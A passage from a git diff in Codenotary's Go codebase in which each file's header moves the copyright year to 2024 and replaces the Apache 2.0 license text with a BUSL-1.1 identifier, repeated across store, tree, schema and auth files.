http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/txpool_test.go b/embedded/store/txpool_test.go index 7537613b5f..f5042c38fa 100644 --- a/embedded/store/txpool_test.go +++ b/embedded/store/txpool_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/verification.go b/embedded/store/verification.go index a70159ed45..bf4a3746cf 100644 --- a/embedded/store/verification.go +++ b/embedded/store/verification.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/verification_test.go b/embedded/store/verification_test.go index 4a8aa17eaa..6405f7fc80 100644 --- a/embedded/store/verification_test.go +++ b/embedded/store/verification_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/consistency_error_test.go b/embedded/tbtree/consistency_error_test.go index 8cc341fdaf..a1ef5e46c8 100644 --- a/embedded/tbtree/consistency_error_test.go +++ b/embedded/tbtree/consistency_error_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/history_reader.go b/embedded/tbtree/history_reader.go index fdd214ae96..7dba145215 100644 --- a/embedded/tbtree/history_reader.go +++ b/embedded/tbtree/history_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/history_reader_test.go b/embedded/tbtree/history_reader_test.go index 9e0a4db2ba..7c883803f9 100644 --- a/embedded/tbtree/history_reader_test.go +++ b/embedded/tbtree/history_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/metrics.go b/embedded/tbtree/metrics.go index 0edb18946a..94483f9742 100644 --- a/embedded/tbtree/metrics.go +++ b/embedded/tbtree/metrics.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/options.go b/embedded/tbtree/options.go index 773273e46b..4a7fd45b98 100644 --- a/embedded/tbtree/options.go +++ b/embedded/tbtree/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/options_test.go b/embedded/tbtree/options_test.go index b505c4c9cf..5e1944dd87 100644 --- a/embedded/tbtree/options_test.go +++ b/embedded/tbtree/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/reader.go b/embedded/tbtree/reader.go index 1da5d080b0..d71a9ea25c 100644 --- a/embedded/tbtree/reader.go +++ b/embedded/tbtree/reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/reader_test.go b/embedded/tbtree/reader_test.go index be06402147..e39f628739 100644 --- a/embedded/tbtree/reader_test.go +++ b/embedded/tbtree/reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 0ecf5b3053..ef758e82dc 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/snapshot_test.go b/embedded/tbtree/snapshot_test.go index 6b8da8e5bc..4060b9917c 100644 --- a/embedded/tbtree/snapshot_test.go +++ b/embedded/tbtree/snapshot_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 21bbf51c3c..c21ef661ea 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 75aadaf50c..d277bcecc7 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tools/stress_tool/stress_tool.go b/embedded/tools/stress_tool/stress_tool.go index a9b77ac612..6690d8336f 100644 --- a/embedded/tools/stress_tool/stress_tool.go +++ b/embedded/tools/stress_tool/stress_tool.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/tools/stress_tool_sql/stress_tool_sql.go b/embedded/tools/stress_tool_sql/stress_tool_sql.go index cc06dad5d4..bc60fe96c7 100644 --- a/embedded/tools/stress_tool_sql/stress_tool_sql.go +++ b/embedded/tools/stress_tool_sql/stress_tool_sql.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/watchers/watchers.go b/embedded/watchers/watchers.go index 2837f0a627..f7c2053c8a 100644 --- a/embedded/watchers/watchers.go +++ b/embedded/watchers/watchers.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/watchers/watchers_test.go b/embedded/watchers/watchers_test.go index e1f1f29f1e..101b24591a 100644 --- a/embedded/watchers/watchers_test.go +++ b/embedded/watchers/watchers_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/database_protoconv.go b/pkg/api/schema/database_protoconv.go index 87e52b8ff7..2a23d952ec 100644 --- a/pkg/api/schema/database_protoconv.go +++ b/pkg/api/schema/database_protoconv.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/errors.go b/pkg/api/schema/errors.go index 7cca6e89ec..90bec9856b 100644 --- a/pkg/api/schema/errors.go +++ b/pkg/api/schema/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/linear_inclusion_enhancer.go b/pkg/api/schema/linear_inclusion_enhancer.go index b60c368fe0..d4bcb6219f 100644 --- a/pkg/api/schema/linear_inclusion_enhancer.go +++ b/pkg/api/schema/linear_inclusion_enhancer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/ops.go b/pkg/api/schema/ops.go index a2dae9a45d..4ea17c2307 100644 --- a/pkg/api/schema/ops.go +++ b/pkg/api/schema/ops.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/ops_test.go b/pkg/api/schema/ops_test.go index 28527c77c0..6d2d0d28ef 100644 --- a/pkg/api/schema/ops_test.go +++ b/pkg/api/schema/ops_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/pattern_test.go b/pkg/api/schema/pattern_test.go index 03d574562b..0b2aa03193 100644 --- a/pkg/api/schema/pattern_test.go +++ b/pkg/api/schema/pattern_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/preconditions.go b/pkg/api/schema/preconditions.go index c7bac3b46e..fd390ef450 100644 --- a/pkg/api/schema/preconditions.go +++ b/pkg/api/schema/preconditions.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/row_value.go b/pkg/api/schema/row_value.go index def594e382..df1f20c89b 100644 --- a/pkg/api/schema/row_value.go +++ b/pkg/api/schema/row_value.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/row_value_test.go b/pkg/api/schema/row_value_test.go index 0839d4573a..83b99a3936 100644 --- a/pkg/api/schema/row_value_test.go +++ b/pkg/api/schema/row_value_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/sql.go b/pkg/api/schema/sql.go index 50a82ab9a5..498f20f3cf 100644 --- a/pkg/api/schema/sql.go +++ b/pkg/api/schema/sql.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/sql_test.go b/pkg/api/schema/sql_test.go index 4680215230..06aac50e33 100644 --- a/pkg/api/schema/sql_test.go +++ b/pkg/api/schema/sql_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/state.go b/pkg/api/schema/state.go index 9804dd9014..445d550ffd 100644 --- a/pkg/api/schema/state.go +++ b/pkg/api/schema/state.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/unexpected_type.go b/pkg/api/schema/unexpected_type.go index b5194d5443..8c417372a1 100644 --- a/pkg/api/schema/unexpected_type.go +++ b/pkg/api/schema/unexpected_type.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/api/schema/unexpected_type_test.go b/pkg/api/schema/unexpected_type_test.go index 7405958c50..833a13e3a1 100644 --- a/pkg/api/schema/unexpected_type_test.go +++ b/pkg/api/schema/unexpected_type_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/auth.go b/pkg/auth/auth.go index 05d1acbcdc..919dbbc5fb 100644 --- a/pkg/auth/auth.go +++ b/pkg/auth/auth.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/clientinterceptors.go b/pkg/auth/clientinterceptors.go index b67bf5c255..b8954cb0da 100644 --- a/pkg/auth/clientinterceptors.go +++ b/pkg/auth/clientinterceptors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/clientinterceptors_test.go b/pkg/auth/clientinterceptors_test.go index 74e412931a..2c31a7ba6f 100644 --- a/pkg/auth/clientinterceptors_test.go +++ b/pkg/auth/clientinterceptors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/passwords.go b/pkg/auth/passwords.go index d514bda0ee..e64bb29c06 100644 --- a/pkg/auth/passwords.go +++ b/pkg/auth/passwords.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/passwords_test.go b/pkg/auth/passwords_test.go index aa9d4fdb43..3aadae6d1f 100644 --- a/pkg/auth/passwords_test.go +++ b/pkg/auth/passwords_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/permissions.go b/pkg/auth/permissions.go index 8d3c60e329..fe89a0de19 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/permissions_test.go b/pkg/auth/permissions_test.go index c988318e39..9cad8022b3 100644 --- a/pkg/auth/permissions_test.go +++ b/pkg/auth/permissions_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/serverinterceptors.go b/pkg/auth/serverinterceptors.go index f108354f62..396c0014db 100644 --- a/pkg/auth/serverinterceptors.go +++ b/pkg/auth/serverinterceptors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/serverinterceptors_test.go b/pkg/auth/serverinterceptors_test.go index 13fbeb0ba0..f055d5b710 100644 --- a/pkg/auth/serverinterceptors_test.go +++ b/pkg/auth/serverinterceptors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/tokenkeys.go b/pkg/auth/tokenkeys.go index d41915fcee..dbb65c9ca1 100644 --- a/pkg/auth/tokenkeys.go +++ b/pkg/auth/tokenkeys.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/tokenkeys_test.go b/pkg/auth/tokenkeys_test.go index f68866df3b..f0a0ccaa2c 100644 --- a/pkg/auth/tokenkeys_test.go +++ b/pkg/auth/tokenkeys_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/tokens.go b/pkg/auth/tokens.go index 72f0eedd53..1bd57e1507 100644 --- a/pkg/auth/tokens.go +++ b/pkg/auth/tokens.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/tokens_test.go b/pkg/auth/tokens_test.go index 532e0ad52e..17b58f7fa7 100644 --- a/pkg/auth/tokens_test.go +++ b/pkg/auth/tokens_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/auth/user.go b/pkg/auth/user.go index 4c977b3be1..5d5545fee5 100644 --- a/pkg/auth/user.go +++ b/pkg/auth/user.go @@ -1,11 +1,11 @@ /* -Copyright 